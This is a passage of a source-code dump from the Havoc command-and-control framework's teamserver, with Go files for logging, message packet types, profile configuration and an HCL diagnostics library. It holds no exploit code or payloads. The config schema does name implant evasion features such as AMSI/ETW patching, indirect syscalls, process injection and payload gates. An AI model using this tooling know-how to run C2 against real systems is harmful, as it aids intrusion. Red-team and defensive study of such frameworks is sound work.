    "content": "package logr\n\nimport (\n\t\"bufio\"\n\t\"log\"\n\t\"os\"\n\t\"regexp\"\n\n\t\"Havoc/pkg/logger\"\n)\n\nfunc strip(str []byte) []byte {\n\tvar (\n\t\tansi = \"[\\u001B\\u009B][[\\\\]()#;?]*(?:(?:(?:[a-zA-Z\\\\d]*(?:;[a-zA-Z\\\\d]*)*)?\\u0007)|(?:(?:\\\\d{1,4}(?:;\\\\d{0,4})*)?[\\\\dA-PRZcf-ntqry=><~]))\"\n\t\tre   = regexp.MustCompile(ansi)\n\t)\n\n\treturn []byte(re.ReplaceAllString(string(str), \"\"))\n}\n\nfunc (l Logr) ServerStdOutInit() {\n\tvar (\n\t\tPathStdOut = l.Path + \"/teamserver.log\"\n\t\tOldStdout  = os.Stdout\n\n\t\tStdRead, StdWrite, _ = os.Pipe()\n\t)\n\n\tFile, err := os.OpenFile(PathStdOut, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tos.Stdout = StdWrite\n\n\tlogger.LoggerInstance = logger.NewLogger(StdWrite)\n\n\tgo func() {\n\t\tvar Reader = bufio.NewReader(StdRead)\n\n\t\tfor {\n\t\t\tif Reader.Size() > 0 {\n\t\t\t\tvar (\n\t\t\t\t\trawLine, _, _ = Reader.ReadLine()\n\t\t\t\t\tline          = []byte(string(rawLine) + \"\\n\")\n\t\t\t\t)\n\n\t\t\t\tif l.LogrSendText != nil {\n\t\t\t\t\tl.LogrSendText(string(strip(rawLine)))\n\t\t\t\t}\n\n\t\t\t\t_, err := File.Write(strip(line))\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t_, err = OldStdout.Write(line)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}()\n}\n"
  },
  {
    "path": "teamserver/pkg/packager/packages.go",
    "content": "package packager\n\nimport (\n    \"encoding/json\"\n\n    \"Havoc/pkg/logger\"\n)\n\nfunc NewPackager() *Packager {\n    return new(Packager)\n}\n\nfunc (p Packager) CreatePackage(jsonObject string) Package {\n    var pk Package\n\n    if err := json.Unmarshal([]byte(jsonObject), &pk); err != nil {\n        logger.Error(\"Error while creating Package struct :: \" + err.Error())\n    }\n\n    return pk\n}\n"
  },
  {
    "path": "teamserver/pkg/packager/types.go",
    "content": "package packager\n\ntype (\n\tMiscType struct {\n\t\tType       int\n\t\tMessageBox int\n\t}\n\n\tHead struct {\n\t\tEvent int `json:\"Event\"`\n\n\t\tUser    string `json:\"User\"`\n\t\tTime    string `json:\"Time\"`\n\t\tOneTime string `json:\"OneTime\"`\n\t}\n\n\tBody struct {\n\t\tSubEvent int            `json:\"SubEvent\"`\n\t\tInfo     map[string]any `json:\"Info\"`\n\t}\n\n\tPackager struct{}\n\n\tPackage struct {\n\t\tHead Head\n\t\tBody Body\n\t}\n\n\tTypes struct {\n\t\tInitConnection struct {\n\t\t\tType int\n\n\t\t\tOAuthRequest int\n\t\t\tSuccess      int\n\t\t\tError        int\n\t\t\tInitInfo     int\n\t\t\tProfile      int\n\t\t}\n\n\t\tListener struct {\n\t\t\tType int\n\n\t\t\tAdd    int\n\t\t\tRemove int\n\t\t\tEdit   int\n\t\t\tMark   int\n\t\t\tError  int\n\t\t}\n\n\t\tChat struct {\n\t\t\tType             int\n\t\t\tNewMessage       int\n\t\t\tNewListener      int\n\t\t\tNewSession       int\n\t\t\tNewUser          int\n\t\t\tUserDisconnected int\n\t\t}\n\n\t\tCredentials struct {\n\t\t\tType int\n\n\t\t\tAdd    int\n\t\t\tEdit   int\n\t\t\tRemove int\n\t\t}\n\n\t\tHostFile struct {\n\t\t\tType int\n\n\t\t\tAdd    int\n\t\t\tRemove int\n\t\t}\n\n\t\tSession struct {\n\t\t\tType int\n\n\t\t\tNewSession int\n\t\t\tInput      int\n\t\t\tOutput     int\n\t\t\tRemove     int\n\t\t\tMarkAsDead int\n\t\t}\n\n\t\tGate struct {\n\t\t\tType int\n\n\t\t\tStaged    int\n\t\t\tStageless int\n\t\t\tMSOffice  int\n\t\t}\n\n\t\t// TODO: remove\n\t\tModule struct {\n\t\t\tType int\n\n\t\t\tRegister int\n\t\t\tUnload   int\n\t\t\tCall     int\n\t\t}\n\n\t\tService struct {\n\t\t\tType int\n\n\t\t\tRegisterAgent    int\n\t\t\tRegisterListener int\n\t\t}\n\n\t\tMisc struct {\n\t\t\tType       int\n\t\t\tMessageBox int\n\t\t}\n\n\t\tTeamserver struct {\n\t\t\tType    int\n\t\t\tLog     int\n\t\t\tProfile int\n\t\t}\n\t}\n)\n\nvar Type = Types{\n\n\tInitConnection: struct {\n\t\tType         int\n\t\tOAuthRequest int\n\t\tSuccess      int\n\t\tError        int\n\t\tInitInfo     int\n\t\tProfile      int\n\t}{\n\t\tType: 0x1,\n\n\t\tSuccess:      0x1,\n\t\tError:        0x2,\n\t\tOAuthRequest: 0x3,\n\t\tInitInfo:     0x4,\n\t\tProfile:      0x5,\n\t},\n\n\tListener: struct {\n\t\tType   int\n\t\tAdd    int\n\t\tRemove int\n\t\tEdit   int\n\t\tMark   int\n\t\tError  int\n\t}{\n\t\tType: 0x2,\n\n\t\tAdd:    0x1,\n\t\tEdit:   0x2,\n\t\tRemove: 0x3,\n\t\tMark:   0x4,\n\t\tError:  0x5,\n\t},\n\n\tChat: struct {\n\t\tType             int\n\t\tNewMessage       int\n\t\tNewListener      int\n\t\tNewSession       int\n\t\tNewUser          int\n\t\tUserDisconnected int\n\t}{\n\t\tType:             0x4,\n\t\tNewMessage:       0x1,\n\t\tNewListener:      0x2,\n\t\tNewSession:       0x3,\n\t\tNewUser:          0x4,\n\t\tUserDisconnected: 0x5,\n\t},\n\n\tCredentials: struct {\n\t\tType   int\n\t\tAdd    int\n\t\tEdit   int\n\t\tRemove int\n\t}{\n\t\tType:   0x3,\n\t\tAdd:    0x1,\n\t\tEdit:   0x2,\n\t\tRemove: 0x3,\n\t},\n\n\tHostFile: struct {\n\t\tType   int\n\t\tAdd    int\n\t\tRemove int\n\t}{\n\t\tType:   0x6,\n\t\tAdd:    0x1,\n\t\tRemove: 0x2,\n\t},\n\n\tSession: struct {\n\t\tType       int\n\t\tNewSession int\n\t\tInput      int\n\t\tOutput     int\n\t\tRemove     int\n\t\tMarkAsDead int\n\t}{\n\t\tType:       0x7,\n\t\tNewSession: 0x1,\n\t\tRemove:     0x2,\n\t\tInput:      0x3,\n\t\tOutput:     0x4,\n\t\tMarkAsDead: 0x5,\n\t},\n\n\tGate: struct {\n\t\tType      int\n\t\tStaged    int\n\t\tStageless int\n\t\tMSOffice  int\n\t}{\n\t\tType:      0x5,\n\t\tStaged:    0x1,\n\t\tStageless: 0x2,\n\t\tMSOffice:  0x3,\n\t},\n\n\tModule: struct {\n\t\tType     int\n\t\tRegister int\n\t\tUnload   int\n\t\tCall     int\n\t}{\n\t\tType:     0x6,\n\t\tRegister: 0x1,\n\t\tUnload:   0x2,\n\t\tCall:     0x3,\n\t},\n\n\tMisc: struct {\n\t\tType       int\n\t\tMessageBox int\n\t}{\n\t\tType:       0x7,\n\t\tMessageBox: 0x1,\n\t},\n\n\tService: struct {\n\t\tType             int\n\t\tRegisterAgent    int\n\t\tRegisterListener int\n\t}{\n\t\tType:             0x9,\n\t\tRegisterAgent:    0x1,\n\t\tRegisterListener: 0x2,\n\t},\n\n\tTeamserver: struct {\n\t\tType    int\n\t\tLog     int\n\t\tProfile int\n\t}{Type: 0x10, Log: 0x1, Profile: 0x2},\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/config.go",
    "content": "package profile\n\ntype HavocConfig struct {\n\tServer    *ServerProfile  `yaotl:\"Teamserver,block\"`\n\tOperators *OperatorsBlock `yaotl:\"Operators,block\"`\n\tListener  *Listeners      `yaotl:\"Listeners,block\"`\n\tDemon     *Demon          `yaotl:\"Demon,block\"`\n\tService   *ServiceConfig  `yaotl:\"Service,block\"`\n\tWebHook   *WebHookConfig  `yaotl:\"WebHook,block\"`\n}\n\ntype WebHookDiscordConfig struct {\n\tWebHook   string `yaotl:\"Url\"`\n\tAvatarUrl string `yaotl:\"AvatarUrl,optional\"`\n\tUserName  string `yaotl:\"User,optional\"`\n}\n\ntype WebHookConfig struct {\n\tDiscord *WebHookDiscordConfig `yaotl:\"Discord,block\"`\n}\n\ntype BuildConfig struct {\n\tCompiler64 string `yaotl:\"Compiler64,optional\"`\n\tCompiler86 string `yaotl:\"Compiler86,optional\"`\n\tNasm       string `yaotl:\"Nasm,optional\"`\n}\n\ntype ServiceConfig struct {\n\tEndpoint string `yaotl:\"Endpoint\"`\n\tPassword string `yaotl:\"Password\"`\n}\n\ntype ServerProfile struct {\n\tHost  string       `yaotl:\"Host\"`\n\tPort  int          `yaotl:\"Port\"`\n\tBuild *BuildConfig `yaotl:\"Build,block\"`\n\t// TODO: add WebSocket server config\n\t// Path for Havoc connection\n\t// TLS or not\n}\n\ntype OperatorsBlock struct {\n\tUsers []UsersBlock `yaotl:\"user,block\"`\n}\n\ntype UsersBlock struct {\n\tName     string `yaotl:\"Name,label\"`\n\tPassword string `yaotl:\"Password\"`\n}\n\ntype Listeners struct {\n\tListenerHTTP     []*ListenerHTTP     `yaotl:\"Http,block\"`\n\tListenerSMB      []*ListenerSMB      `yaotl:\"Smb,block\"`\n\tListenerExternal []*ListenerExternal `yaotl:\"External,block\"`\n}\n\ntype ListenerHTTP struct {\n\tName string `yaotl:\"Name\"`\n\n\t// 2006-01-02 15:04:05\n\tKillDate string `yaotl:\"KillDate,optional\"`\n\t// 8:00-17:00\n\tWorkingHours string `yaotl:\"WorkingHours,optional\"`\n\n\tHosts        []string `yaotl:\"Hosts\"`\n\tHostBind     string   `yaotl:\"HostBind\"`\n\tHostRotation string   `yaotl:\"HostRotation\"`\n\t/* Port used by the TS */\n\tPortBind int `yaotl:\"PortBind\"`\n\t/* Port used by the agent */\n\tPortConn int `yaotl:\"PortConn,optional\"`\n\n\tMethode  string `yaotl:\"Method,optional\"`\n\n\t/* optional fields */\n\tUserAgent string   `yaotl:\"UserAgent,optional\"`\n\tHeaders   []string `yaotl:\"Headers,optional\"`\n\tUris      []string `yaotl:\"Uris,optional\"`\n\tSecure    bool     `yaotl:\"Secure,optional\"`\n\n\t/* optional sub blocks */\n\tCert     *ListenerHttpCerts    `yaotl:\"Cert,block\"`\n\tResponse *ListenerHttpResponse `yaotl:\"Response,block\"`\n\tProxy    *ListenerHttpProxy    `yaotl:\"Proxy,block\"`\n}\n\ntype ListenerSMB struct {\n\tName     string `yaotl:\"Name\"`\n\tPipeName string `yaotl:\"PipeName\"`\n\n\t// 2006-01-02 15:04:05\n\tKillDate string `yaotl:\"KillDate,optional\"`\n\t// 8:00-17:00\n\tWorkingHours string `yaotl:\"WorkingHours,optional\"`\n}\n\ntype ListenerExternal struct {\n\tName     string `yaotl:\"Name\"`\n\tEndpoint string `yaotl:\"Endpoint\"`\n}\n\ntype ListenerHttpResponse struct {\n\tHeaders []string `yaotl:\"Headers,optional\"`\n}\n\ntype ListenerHttpProxy struct {\n\tHost string `yaotl:\"Host\"`\n\tPort int    `yaotl:\"Port\"`\n\tUser string `yaotl:\"Username,optional\"`\n\tPass string `yaotl:\"Password,optional\"`\n}\n\ntype ListenerHttpCerts struct {\n\tCert string `yaotl:\"Cert\"`\n\tKey  string `yaotl:\"Key\"`\n}\n\ntype HeaderBlock struct {\n\tMagicMzX64  string `yaotl:\"MagicMz-x64,optional\"` // max 2 bytes\n\tMagicMzX86  string `yaotl:\"MagicMz-x86,optional\"` // max 2 bytes\n\tCompileTime string `yaotl:\"CompileTime,optional\"`\n\n\tImageSizeX64 int `yaotl:\"ImageSize-x64,optional\"`\n\tImageSizeX86 int `yaotl:\"ImageSize-x86,optional\"`\n}\n\ntype Binary struct {\n\tHeader *HeaderBlock `yaotl:\"Header,block\"`\n\n\tReplaceStringsX64 map[string]string `yaotl:\"ReplaceStrings-x64,optional\"`\n\tReplaceStringsX86 map[string]string `yaotl:\"ReplaceStrings-x86,optional\"`\n}\n\ntype ProcessInjectionBlock struct {\n\tSpawn64 string `yaotl:\"Spawn64,optional\"`\n\tSpawn32 string `yaotl:\"Spawn32,optional\"`\n}\n\ntype Demon struct {\n\tSleep              int                    `yaotl:\"Sleep,optional\"`\n\tJitter             int                    `yaotl:\"Jitter,optional\"`\n\tIndirectSyscall    bool                   `yaotl:\"IndirectSyscall,optional\"`\n\tStackDuplication   bool                   `yaotl:\"StackDuplication,optional\"`\n\tSleepTechnique     string                 `yaotl:\"SleepTechnique,optional\"`\n\tProxyLoading       string                 `yaotl:\"ProxyLoading,optional\"`\n\tAmsiEtwPatching    string                 `yaotl:\"AmsiEtwPatching,optional\"`\n\tProcessInjection   *ProcessInjectionBlock `yaotl:\"Injection,block\"`\n\n\tDotNetNamePipe     string                 `yaotl:\"DotNetNamePipe,optional\"`\n\n\tBinary             *Binary                `yaotl:\"Binary,block\"`\n\n\tTrustXForwardedFor bool                   `yaotl:\"TrustXForwardedFor,optional\"`\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/profile.go",
    "content": "package profile\n\nimport (\n\t\"Havoc/pkg/colors\"\n\t\"Havoc/pkg/logger\"\n\tyaotl \"Havoc/pkg/profile/yaotl/hclsimple\"\n)\n\ntype Profile struct {\n\tConfig HavocConfig\n}\n\nfunc NewProfile() *Profile {\n\treturn new(Profile)\n}\n\nfunc (p *Profile) SetProfile(path string, def bool) error {\n\terr := yaotl.DecodeFile(path, nil, &p.Config)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif def {\n\t\tlogger.Info(\"Use default profile\")\n\t} else {\n\t\tlogger.Info(\"Havoc profile:\", colors.Blue(path))\n\t}\n\n\treturn nil\n}\n\nfunc (p *Profile) ServerHost() string {\n\tif p.Config.Server != nil {\n\t\treturn p.Config.Server.Host\n\t}\n\treturn \"\"\n}\n\nfunc (p *Profile) ServerPort() int {\n\tif p.Config.Server != nil {\n\t\treturn p.Config.Server.Port\n\t}\n\treturn 0\n}\n\nfunc (p *Profile) ListOfUsernames() []string {\n\tvar Usernames []string\n\n\tfor _, user := range p.Config.Operators.Users {\n\t\tUsernames = append(Usernames, user.Name)\n\t}\n\n\treturn Usernames\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/diagnostic.go",
    "content": "package hcl\n\nimport (\n\t\"fmt\"\n)\n\n// DiagnosticSeverity represents the severity of a diagnostic.\ntype DiagnosticSeverity int\n\nconst (\n\t// DiagInvalid is the invalid zero value of DiagnosticSeverity\n\tDiagInvalid DiagnosticSeverity = iota\n\n\t// DiagError indicates that the problem reported by a diagnostic prevents\n\t// further progress in parsing and/or evaluating the subject.\n\tDiagError\n\n\t// DiagWarning indicates that the problem reported by a diagnostic warrants\n\t// user attention but does not prevent further progress. It is most\n\t// commonly used for showing deprecation notices.\n\tDiagWarning\n)\n\n// Diagnostic represents information to be presented to a user about an\n// error or anomaly in parsing or evaluating configuration.\ntype Diagnostic struct {\n\tSeverity DiagnosticSeverity\n\n\t// Summary and Detail contain the English-language description of the\n\t// problem. Summary is a terse description of the general problem and\n\t// detail is a more elaborate, often-multi-sentence description of\n\t// the problem and what might be done to solve it.\n\tSummary string\n\tDetail  string\n\n\t// Subject and Context are both source ranges relating to the diagnostic.\n\t//\n\t// Subject is a tight range referring to exactly the construct that\n\t// is problematic, while Context is an optional broader range (which should\n\t// fully contain Subject) that ought to be shown around Subject when\n\t// generating isolated source-code snippets in diagnostic messages.\n\t// If Context is nil, the Subject is also the Context.\n\t//\n\t// Some diagnostics have no source ranges at all. If Context is set then\n\t// Subject should always also be set.\n\tSubject *Range\n\tContext *Range\n\n\t// For diagnostics that occur when evaluating an expression, Expression\n\t// may refer to that expression and EvalContext may point to the\n\t// EvalContext that was active when evaluating it. This may allow for the\n\t// inclusion of additional useful information when rendering a diagnostic\n\t// message to the user.\n\t//\n\t// It is not always possible to select a single EvalContext for a\n\t// diagnostic, and so in some cases this field may be nil even when an\n\t// expression causes a problem.\n\t//\n\t// EvalContexts form a tree, so the given EvalContext may refer to a parent\n\t// which in turn refers to another parent, etc. For a full picture of all\n\t// of the active variables and functions the caller must walk up this\n\t// chain, preferring definitions that are \"closer\" to the expression in\n\t// case of colliding names.\n\tExpression  Expression\n\tEvalContext *EvalContext\n}\n\n// Diagnostics is a list of Diagnostic instances.\ntype Diagnostics []*Diagnostic\n\n// error implementation, so that diagnostics can be returned via APIs\n// that normally deal in vanilla Go errors.\n//\n// This presents only minimal context about the error, for compatibility\n// with usual expectations about how errors will present as strings.\nfunc (d *Diagnostic) Error() string {\n\treturn fmt.Sprintf(\"%s: %s; %s\", d.Subject, d.Summary, d.Detail)\n}\n\n// error implementation, so that sets of diagnostics can be returned via\n// APIs that normally deal in vanilla Go errors.\nfunc (d Diagnostics) Error() string {\n\tcount := len(d)\n\tswitch {\n\tcase count == 0:\n\t\treturn \"no diagnostics\"\n\tcase count == 1:\n\t\treturn d[0].Error()\n\tdefault:\n\t\treturn fmt.Sprintf(\"%s, and %d other diagnostic(s)\", d[0].Error(), count-1)\n\t}\n}\n\n// Append appends a new error to a Diagnostics and return the whole Diagnostics.\n//\n// This is provided as a convenience for returning from a function that\n// collects and then returns a set of diagnostics:\n//\n//     return nil, diags.Append(&hcl.Diagnostic{ ... })\n//\n// Note that this modifies the array underlying the diagnostics slice, so\n// must be used carefully within a single codepath. It is incorrect (and rude)\n// to extend a diagnostics created by a different subsystem.\nfunc (d Diagnostics) Append(diag *Diagnostic) Diagnostics {\n\treturn append(d, diag)\n}\n\n// Extend concatenates the given Diagnostics with the receiver and returns\n// the whole new Diagnostics.\n//\n// This is similar to Append but accepts multiple diagnostics to add. It has\n// all the same caveats and constraints.\nfunc (d Diagnostics) Extend(diags Diagnostics) Diagnostics {\n\treturn append(d, diags...)\n}\n\n// HasErrors returns true if the receiver contains any diagnostics of\n// severity DiagError.\nfunc (d Diagnostics) HasErrors() bool {\n\tfor _, diag := range d {\n\t\tif diag.Severity == DiagError {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc (d Diagnostics) Errs() []error {\n\tvar errs []error\n\tfor _, diag := range d {\n\t\tif diag.Severity == DiagError {\n\t\t\terrs = append(errs, diag)\n\t\t}\n\t}\n\n\treturn errs\n}\n\n// A DiagnosticWriter emits diagnostics somehow.\ntype DiagnosticWriter interface {\n\tWriteDiagnostic(*Diagnostic) error\n\tWriteDiagnostics(Diagnostics) error\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/diagnostic_text.go",
    "content": "package hcl\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"sort\"\n\n\twordwrap \"github.com/mitchellh/go-wordwrap\"\n\t\"github.com/zclconf/go-cty/cty\"\n)\n\ntype diagnosticTextWriter struct {\n\tfiles map[string]*File\n\twr    io.Writer\n\twidth uint\n\tcolor bool\n}\n\n// NewDiagnosticTextWriter creates a DiagnosticWriter that writes diagnostics\n// to the given writer as formatted text.\n//\n// It is designed to produce text appropriate to print in a monospaced font\n// in a terminal of a particular width, or optionally with no width limit.\n//\n// The given width may be zero to disable word-wrapping of the detail text\n// and truncation of source code snippets.\n//\n// If color is set to true, the output will include VT100 escape sequences to\n// color-code the severity indicators. It is suggested to turn this off if\n// the target writer is not a terminal.\nfunc NewDiagnosticTextWriter(wr io.Writer, files map[string]*File, width uint, color bool) DiagnosticWriter {\n\treturn &diagnosticTextWriter{\n\t\tfiles: files,\n\t\twr:    wr,\n\t\twidth: width,\n\t\tcolor: color,\n\t}\n}\n\nfunc (w *diagnosticTextWriter) WriteDiagnostic(diag *Diagnostic) error {\n\tif diag == nil {\n\t\treturn errors.New(\"nil diagnostic\")\n\t}\n\n\tvar colorCode, highlightCode, resetCode string\n\tif w.color {\n\t\tswitch diag.Severity {\n\t\tcase DiagError:\n\t\t\tcolorCode = \"\\x1b[31m\"\n\t\tcase DiagWarning:\n\t\t\tcolorCode = \"\\x1b[33m\"\n\t\t}\n\t\tresetCode = \"\\x1b[0m\"\n\t\thighlightCode = \"\\x1b[1;4m\"\n\t}\n\n\tvar severityStr string\n\tswitch diag.Severity {\n\tcase DiagError:\n\t\tseverityStr = \"Error\"\n\tcase DiagWarning:\n\t\tseverityStr = \"Warning\"\n\tdefault:\n\t\t// should never happen\n\t\tseverityStr = \"???????\"\n\t}\n\n\tfmt.Fprintf(w.wr, \"%s%s%s: %s\\n\\n\", colorCode, severityStr, resetCode, diag.Summary)\n\n\tif diag.Subject != nil {\n\t\tsnipRange := *diag.Subject\n\t\thighlightRange := snipRange\n\t\tif diag.Context != nil {\n\t\t\t// Show enough of the source code to include both the subject\n\t\t\t// and context ranges, which overlap in all reasonable\n\t\t\t// situations.\n\t\t\tsnipRange = RangeOver(snipRange, *diag.Context)\n\t\t}\n\t\t// We can't illustrate an empty range, so we'll turn such ranges into\n\t\t// single-character ranges, which might not be totally valid (may point\n\t\t// off the end of a line, or off the end of the file) but are good\n\t\t// enough for the bounds checks we do below.\n\t\tif snipRange.Empty() {\n\t\t\tsnipRange.End.Byte++\n\t\t\tsnipRange.End.Column++\n\t\t}\n\t\tif highlightRange.Empty() {\n\t\t\thighlightRange.End.Byte++\n\t\t\thighlightRange.End.Column++\n\t\t}\n\n\t\tfile := w.files[diag.Subject.Filename]\n\t\tif file == nil || file.Bytes == nil {\n\t\t\tfmt.Fprintf(w.wr, \"  on %s line %d:\\n  (source code not available)\\n\\n\", diag.Subject.Filename, diag.Subject.Start.Line)\n\t\t} else {\n\n\t\t\tvar contextLine string\n\t\t\tif diag.Subject != nil {\n\t\t\t\tcontextLine = contextString(file, diag.Subject.Start.Byte)\n\t\t\t\tif contextLine != \"\" {\n\t\t\t\t\tcontextLine = \", in \" + contextLine\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfmt.Fprintf(w.wr, \"  on %s line %d%s:\\n\", diag.Subject.Filename, diag.Subject.Start.Line, contextLine)\n\n\t\t\tsrc := file.Bytes\n\t\t\tsc := NewRangeScanner(src, diag.Subject.Filename, bufio.ScanLines)\n\n\t\t\tfor sc.Scan() {\n\t\t\t\tlineRange := sc.Range()\n\t\t\t\tif !lineRange.Overlaps(snipRange) {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tbeforeRange, highlightedRange, afterRange := lineRange.PartitionAround(highlightRange)\n\t\t\t\tif highlightedRange.Empty() {\n\t\t\t\t\tfmt.Fprintf(w.wr, \"%4d: %s\\n\", lineRange.Start.Line, sc.Bytes())\n\t\t\t\t} else {\n\t\t\t\t\tbefore := beforeRange.SliceBytes(src)\n\t\t\t\t\thighlighted := highlightedRange.SliceBytes(src)\n\t\t\t\t\tafter := afterRange.SliceBytes(src)\n\t\t\t\t\tfmt.Fprintf(\n\t\t\t\t\t\tw.wr, \"%4d: %s%s%s%s%s\\n\",\n\t\t\t\t\t\tlineRange.Start.Line,\n\t\t\t\t\t\tbefore,\n\t\t\t\t\t\thighlightCode, highlighted, resetCode,\n\t\t\t\t\t\tafter,\n\t\t\t\t\t)\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\tw.wr.Write([]byte{'\\n'})\n\t\t}\n\n\t\tif diag.Expression != nil && diag.EvalContext != nil {\n\t\t\t// We will attempt to render the values for any variables\n\t\t\t// referenced in the given expression as additional context, for\n\t\t\t// situations where the same expression is evaluated multiple\n\t\t\t// times in different scopes.\n\t\t\texpr := diag.Expression\n\t\t\tctx := diag.EvalContext\n\n\t\t\tvars := expr.Variables()\n\t\t\tstmts := make([]string, 0, len(vars))\n\t\t\tseen := make(map[string]struct{}, len(vars))\n\t\t\tfor _, traversal := range vars {\n\t\t\t\tval, diags := traversal.TraverseAbs(ctx)\n\t\t\t\tif diags.HasErrors() {\n\t\t\t\t\t// Skip anything that generates errors, since we probably\n\t\t\t\t\t// already have the same error in our diagnostics set\n\t\t\t\t\t// already.\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\ttraversalStr := w.traversalStr(traversal)\n\t\t\t\tif _, exists := seen[traversalStr]; exists {\n\t\t\t\t\tcontinue // don't show duplicates when the same variable is referenced multiple times\n\t\t\t\t}\n\t\t\t\tswitch {\n\t\t\t\tcase !val.IsKnown():\n\t\t\t\t\t// Can't say anything about this yet, then.\n\t\t\t\t\tcontinue\n\t\t\t\tcase val.IsNull():\n\t\t\t\t\tstmts = append(stmts, fmt.Sprintf(\"%s set to null\", traversalStr))\n\t\t\t\tdefault:\n\t\t\t\t\tstmts = append(stmts, fmt.Sprintf(\"%s as %s\", traversalStr, w.valueStr(val)))\n\t\t\t\t}\n\t\t\t\tseen[traversalStr] = struct{}{}\n\t\t\t}\n\n\t\t\tsort.Strings(stmts) // FIXME: Should maybe use a traversal-aware sort that can sort numeric indexes properly?\n\t\t\tlast := len(stmts) - 1\n\n\t\t\tfor i, stmt := range stmts {\n\t\t\t\tswitch i {\n\t\t\t\tcase 0:\n\t\t\t\t\tw.wr.Write([]byte{'w', 'i', 't', 'h', ' '})\n\t\t\t\tdefault:\n\t\t\t\t\tw.wr.Write([]byte{' ', ' ', ' ', ' ', ' '})\n\t\t\t\t}\n\t\t\t\tw.wr.Write([]byte(stmt))\n\t\t\t\tswitch i {\n\t\t\t\tcase last:\n\t\t\t\t\tw.wr.Write([]byte{'.', '\\n', '\\n'})\n\t\t\t\tdefault:\n\t\t\t\t\tw.wr.Write([]byte{',', '\\n'})\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif diag.Detail != \"\" {\n\t\tdetail := diag.Detail\n\t\tif w.width != 0 {\n\t\t\tdetail = wordwrap.WrapString(detail, w.width)\n\t\t}\n\t\tfmt.Fprintf(w.wr, \"%s\\n\\n\", detail)\n\t}\n\n\treturn nil\n}\n\nfunc (w *diagnosticTextWriter) WriteDiagnostics(diags Diagnostics) error {\n\tfor _, diag := range diags {\n\t\terr := w.WriteDiagnostic(diag)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (w *diagnosticTextWriter) traversalStr(traversal Traversal) string {\n\t// This is a specialized subset of traversal rendering tailored to\n\t// producing helpful contextual messages in diagnostics. It is not\n\t// comprehensive nor intended to be used for other purposes.\n\n\tvar buf bytes.Buffer\n\tfor _, step := range traversal {\n\t\tswitch tStep := step.(type) {\n\t\tcase TraverseRoot:\n\t\t\tbuf.WriteString(tStep.Name)\n\t\tcase TraverseAttr:\n\t\t\tbuf.WriteByte('.')\n\t\t\tbuf.WriteString(tStep.Name)\n\t\tcase TraverseIndex:\n\t\t\tbuf.WriteByte('[')\n\t\t\tif keyTy := tStep.Key.Type(); keyTy.IsPrimitiveType() {\n\t\t\t\tbuf.WriteString(w.valueStr(tStep.Key))\n\t\t\t} else {\n\t\t\t\t// We'll just use a placeholder for more complex values,\n\t\t\t\t// since otherwise our result could grow ridiculously long.\n\t\t\t\tbuf.WriteString(\"...\")\n\t\t\t}\n\t\t\tbuf.WriteByte(']')\n\t\t}\n\t}\n\treturn buf.String()\n}\n\nfunc (w *diagnosticTextWriter) valueStr(val cty.Value) string {\n\t// This is a specialized subset of value rendering tailored to producing\n\t// helpful but concise messages in diagnostics. It is not comprehensive\n\t// nor intended to be used for other purposes.\n\n\tty := val.Type()\n\tswitch {\n\tcase val.IsNull():\n\t\treturn \"null\"\n\tcase !val.IsKnown():\n\t\t// Should never happen here because we should filter before we get\n\t\t// in here, but we'll do something reasonable rather than panic.\n\t\treturn \"(not yet known)\"\n\tcase ty == cty.Bool:\n\t\tif val.True() {\n\t\t\treturn \"true\"\n\t\t}\n\t\treturn \"false\"\n\tcase ty == cty.Number:\n\t\tbf := val.AsBigFloat()\n\t\treturn bf.Text('g', 10)\n\tcase ty == cty.String:\n\t\t// Go string syntax is not exactly the same as HCL native string syntax,\n\t\t// but we'll accept the minor edge-cases where this is different here\n\t\t// for now, just to get something reasonable here.\n\t\treturn fmt.Sprintf(\"%q\", val.AsString())\n\tcase ty.IsCollectionType() || ty.IsTupleType():\n\t\tl := val.LengthInt()\n\t\tswitch l {\n\t\tcase 0:\n\t\t\treturn \"empty \" + ty.FriendlyName()\n\t\tcase 1:\n\t\t\treturn ty.FriendlyName() + \" with 1 element\"\n\t\tdefault:\n\t\t\treturn fmt.Sprintf(\"%s with %d elements\", ty.FriendlyName(), l)\n\t\t}\n\tcase ty.IsObjectType():\n\t\tatys := ty.AttributeTypes()\n\t\tl := len(atys)\n\t\tswitch l {\n\t\tcase 0:\n\t\t\treturn \"object with no attributes\"\n\t\tcase 1:\n\t\t\tvar name string\n\t\t\tfor k := range atys {\n\t\t\t\tname = k\n\t\t\t}\n\t\t\treturn fmt.Sprintf(\"object with 1 attribute %q\", name)\n\t\tdefault:\n\t\t\treturn fmt.Sprintf(\"object with %d attributes\", l)\n\t\t}\n\tdefault:\n\t\treturn ty.FriendlyName()\n\t}\n}\n\nfunc contextString(file *File, offset int) string {\n\ttype contextStringer interface {\n\t\tContextString(offset int) string\n\t}\n\n\tif cser, ok := file.Nav.(contextStringer); ok {\n\t\treturn cser.ContextString(offset)\n\t}\n\treturn \"\"\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/didyoumean.go",
